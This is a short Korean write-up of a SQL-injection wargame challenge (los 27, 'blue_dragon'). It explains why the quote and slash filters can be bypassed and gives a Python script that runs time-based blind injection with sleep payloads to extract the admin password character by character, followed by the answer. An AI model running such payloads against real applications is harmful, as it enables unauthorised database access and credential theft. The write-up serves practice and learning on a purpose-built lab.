los 27번입니다.
필터링 조건을 보면 \,/,싱글 쿼터가 필터링 되는 것을 볼 수 있는데 이때 필터링 조건문이 쿼리문을 실행한 다음 발동합니다. 그래서 이 문자들을 이용하여 쿼리문의 작성은 가능하지만 결과를 확인하기는 어렵습니다. 그래서 27번도 23번처럼 time based SQL injection을 이용해서 문제를 해결했습니다. 코드는 23번 문제의 코드와 매우 유사하기 때문에 코드와 결과의 캡쳐하는 것으로 분석을 대신하겠습니다.
import requests
import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
header={'Cookie':'PHPSESSID=ufj6q3ft5dptj5eptdt3epu0hl'}
for i in range(1,50):
send=time.time()
query="pw=' or if(id='admin' and length(pw)={},sleep(2),1)%23".format(i)
result=requests.get(url+query,headers=header)
re=time.time()
if (re-send) > 2:
length=i
break
print("length: ",length)
answer=''
for i in range(1,length+1):
for j in range(33,127):
send=time.time()
query="pw=' or if(id='admin' and ascii(substr(pw,{},1))={},sleep(2),1)%23".format(i,j)
result=requests.get(url+query,headers=header)
re=time.time()
if (re-send) > 2:
answer+=chr(j)
print("answer: ",answer)
break
print("answer: ",answer)
정답 : ?pw=d948b8a0